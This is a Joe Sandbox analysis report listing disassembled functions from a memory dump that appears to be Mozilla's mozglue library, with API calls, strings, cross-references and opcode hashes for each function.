memset.VCRUNTIME140(?,000000FF,?), ref: 6C668A4B

Strings

~q_l, xrefs: 6C6656C7, 6C669269, 6C665703, 6C669459, 6C665740, 6C66921F, 6C66948F

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memset
String ID: ~q_l
API String ID: 2221118986-2259707452
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: c61bb01ac86666256532f3361b5c281806fa5165e840756b6009ada1eef9ecef
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 6FB11C72E0021ACFCB14CF69CC917D8B7B6EF85314F1402A9C949EBB91D730A985CB95

Function 6C66542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6688F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C66925C

Strings

~q_l, xrefs: 6C6656C7, 6C669269, 6C665703, 6C669459, 6C665740, 6C66921F, 6C66948F

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memset
String ID: ~q_l
API String ID: 2221118986-2259707452
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 5e522bed8f881c606318742a025a5d8748405c014b9871b720017804aaf6b22d
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: FFB1D672E0420ACFCB14CF69CC816EDB7B6EF85314F140269C949EBB95D730A989CB95

Function 6C65C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C65C0E9), ref: 6C65C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C65C437
FreeLibrary.KERNEL32(?,6C65C0E9), ref: 6C65C44C

Strings

NtQueryVirtualMemory, xrefs: 6C65C431
ntdll.dll, xrefs: 6C65C413

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: fa5e4e6c6010e1c9bac1118438ee169e8c23ae57ac09d799f376f179277e83d2
Instruction ID: b45cf901aa6028a11bb373027968ebf37a38dbb4bc465c0330fbafb43b71e71b
Opcode Fuzzy Hash: fa5e4e6c6010e1c9bac1118438ee169e8c23ae57ac09d799f376f179277e83d2
Instruction Fuzzy Hash: 1AE09A70705321ABDB0A6BB3C988F117AF8A74A344F144915EA1591710EBB0C0118B7E

Function 6C609F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C60AB22
' , xrefs: 6C60A3D8
@, xrefs: 6C60A625
9, xrefs: 6C60A5D6
1, xrefs: 6C60A824
0, xrefs: 6C60A100

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 2513582998cf96b89e4edead8b5c8e532c2a461280d6d42e7f873254009b73fc
Instruction ID: 14adb65e53cb48a89f52f1975f288bca54ba52f16e99503cecf05c0c2a4ae62c
Opcode Fuzzy Hash: 2513582998cf96b89e4edead8b5c8e532c2a461280d6d42e7f873254009b73fc
Instruction Fuzzy Hash: 5382D431B093158BD719CF15C2402AEB7F2FB817C8F558A2DE8D567A92D3349886CB4A

Function 6C5FBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5FC1CB
__aulldiv.LIBCMT ref: 6C5FC24C
__aulldiv.LIBCMT ref: 6C5FC348
__aullrem.LIBCMT ref: 6C5FC365
__aulldiv.LIBCMT ref: 6C5FC37D

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 2886bcd035435660ebb9fbcb8d55ebd45703054531a45fb79504f30c725de167
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: F2320432B046119FC718DE2CC890A5ABBE6AFC9350F09867DE4A5CB395D734ED06CB91

Function 6C6477A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C647A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C647A93

Part of subcall function 6C615C50: GetTickCount64.KERNEL32 ref: 6C615D40
Part of subcall function 6C615C50: EnterCriticalSection.KERNEL32(6C67F688), ref: 6C615D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C647AA1

Part of subcall function 6C615C50: __aulldiv.LIBCMT ref: 6C615DB4
Part of subcall function 6C615C50: LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C615DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C647B31

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: ec2d07b5fba693af8968f652a02d164fd2fb61a11ec9d3492bf0b27f97b48ed6
Instruction ID: 09aae859e39622b360c94cad5fbf31c672e6266ce76ef8cd931cf24359b9f0d6
Opcode Fuzzy Hash: ec2d07b5fba693af8968f652a02d164fd2fb61a11ec9d3492bf0b27f97b48ed6
Instruction Fuzzy Hash: EEB16E356083818BDB14CF25C4506AFB7E2BFC5318F15CA1CE99567B91DB70E90ACB8A

Function 6C618850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C619813, 6C61985D, 6C619878, 6C619CEB
MOZ_CRASH(), xrefs: 6C6197EA

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 77b7f9730f77ee634be504a58efe1fb9762dba501a62dcd9fbff3a72d90e5afa
Instruction ID: c14ccfab1a14d333065058ef2d803abe12eae0992fc27e899ccacf2d31286fc7
Opcode Fuzzy Hash: 77b7f9730f77ee634be504a58efe1fb9762dba501a62dcd9fbff3a72d90e5afa
Instruction Fuzzy Hash: FAD28C71A096018FD708CF1DC590755BBE1BF85329F29C76DE86A8BBA5C731E841CB88

Function 6C636CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C636D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C636E1E

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 21ac065e2af6399d9a531bea46bf638d69b587c09cb31d93ae7af24830c02963
Instruction ID: e465af25b941b9815e36e65f3dc58891aa69ffc2140c6feb096bc942eafed9ee
Opcode Fuzzy Hash: 21ac065e2af6399d9a531bea46bf638d69b587c09cb31d93ae7af24830c02963
Instruction Fuzzy Hash: F0A18D706183908FD715CF25C4807AEFBE2BF89308F54991DE88A87751DB70E849CB9A

Function 6C65B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C65B720
RtlNtStatusToDosError.NTDLL ref: 6C65B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,6C640BA4,00000000,?,0000001C,?,?,00000000,?,6C638E44,?,00000000,?,6C640BA4), ref: 6C65B760

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 212dcd2c75f6ecf7f30470558d86f74ae033669ca4a008bcd84d43e19c69f93c
Instruction ID: 284fdc6ecea63b605d4a2977d4a53bc1ea2261cf2135d9ef2ff1d292f9b93b6a
Opcode Fuzzy Hash: 212dcd2c75f6ecf7f30470558d86f74ae033669ca4a008bcd84d43e19c69f93c
Instruction Fuzzy Hash: ABF0A47090020CAEDF019AA1CC84BDEB7BC9B44319F605169D512619C0D774959CCB6D

Function 6C614640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C614777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C615585, 6C6155A8, 6C6155C3, 6C615624

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 3019eb1f074045d422e5c6f7108d4855b5b0b6e951ed3e4fdfa4e4e0393fbbb6
Instruction ID: 799167270a878fbc5e272a9198eb9735479aa201f98f3617f48b43d61b007c58
Opcode Fuzzy Hash: 3019eb1f074045d422e5c6f7108d4855b5b0b6e951ed3e4fdfa4e4e0393fbbb6
Instruction Fuzzy Hash: A7B28E71A196018FC308CF1DC590725FBE2BFC5329B29C76DE4698BAA5D771E841CB88

Function 6C6585F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C658C7C
__aulldiv.LIBCMT ref: 6C658DD7

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 445903b6f88341094328aafa7c693a32263cec800cabcdb5bd7cac448c739737
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 3E329371F501198BDF18CE9CC4A17AEF7B2FB88300F65813AD446BBBA0D6349D418B95

Function 6C6676E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~q_l, xrefs: 6C667E0B, 6C667796, 6C6679FB, 6C66793C, 6C6679C0, 6C667B0B

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: ~q_l
API String ID: 0-2259707452
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c68cd939326917318b2e2f2416a754c99da5f7847f0ac9c05d1f41511c3eb1db
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 2B321971E006198FCB14CF99C890AADFBF2FF88308F5481A9C549A7B45D731A986CF95

Function 6C666E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~q_l, xrefs: 6C667C03, 6C667E0B, 6C6679FB, 6C667C72, 6C66793C, 6C6679C0, 6C667B0B

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: ~q_l
API String ID: 0-2259707452
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 2275d89115ff11b46aef08566ef7a0b37a6af5834acaeb189e579ac880882343
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 5B22F971E002198FCB14CF99C880AADF7F2FF89308F6485A9C549A7B45D731A986CF95

Function 6C635C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,?,?,?), ref: 6C635F06

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 0a6c18c0eda9e83278170eeb47a3b30de52e59dcc0d4ddd0ad836cb941bd2a1d
Instruction ID: bd0c13d255ab7c0942cf039749476a4f3a8f4d685ab008dfe702240d4d90fabf
Opcode Fuzzy Hash: 0a6c18c0eda9e83278170eeb47a3b30de52e59dcc0d4ddd0ad836cb941bd2a1d
Instruction Fuzzy Hash: 9BC1E175D012298BCB04CF95C5906EEBBF2FF8A318F28615DC8596BB40D732A906CF94

Function 6C5FDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a72dcde1736b2b22b89e58fa99ddf19f90588291d648683e31c051ce2003c1
Instruction ID: 9be0a039574c0c48d4d74f17fa38fd52817938d3dd947a3e4936aa0c6f0877fb
Opcode Fuzzy Hash: 52a72dcde1736b2b22b89e58fa99ddf19f90588291d648683e31c051ce2003c1
Instruction Fuzzy Hash: 8842D832A087508BD308CE3DC89075AF3E2BFC9354F154B2DE9A9A7791D774D9428B82

Function 6C620512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 4d77cd1b393ee2fcc2bab5e12bc8b7031151f049d4de9e5199cc5c47f43072ce
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 5A221775E04619CFCB14CF98C890AADF7B2FF89308F548299C54AA7705D735A986CF84

Function 6C66AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afa16a0ab97fbd3d65b5f37d4a8839a450d9d39e3f621b52aba29281ed90d268
Instruction ID: 777727c9c8a38003e2f4ad1ab3f61e993e5cb4e30fe6ac8ead2a2e3a626fd543
Opcode Fuzzy Hash: afa16a0ab97fbd3d65b5f37d4a8839a450d9d39e3f621b52aba29281ed90d268
Instruction Fuzzy Hash: 73F15B716083559FD700CE2AC8903AAB7E2AFC6318F148A2DE5D587F82E774D845C797

Function 6C5FC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 59148e85d92689ed95647a0c31524b2b573815bb28e24b6f14bdb4aa1b92512b
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 6CA1A171F0021A8BDB18CE69C8913AEB7F2AFC9354F188139D925E7785D7346C068F90

Function 6C637710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: b504bc2c84bc94866ba30182de0c671a13333847d99d5fd0a32a3cd6440f0533
Instruction ID: 4cd4622ed91e97ac53aab92b8cf98f24934c215dbe185cecf492ecbc05d9a60c
Opcode Fuzzy Hash: b504bc2c84bc94866ba30182de0c671a13333847d99d5fd0a32a3cd6440f0533
Instruction Fuzzy Hash: F6716D71E01229CFCB08CF99D9905EDBBB2FF89314F24912ED819AB740D731A905CB94

Function 6C63CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default), ref: 6C63CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java), ref: 6C63CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C66FE98), ref: 6C63CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf), ref: 6C63CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio), ref: 6C63CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio), ref: 6C63CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall), ref: 6C63CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C63CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C63CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C63CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C63CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C63CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C63CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C63CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C63CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C63CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C63CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C63CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C63CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C63CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C63CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C63CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C63CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C63CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C63CE8A

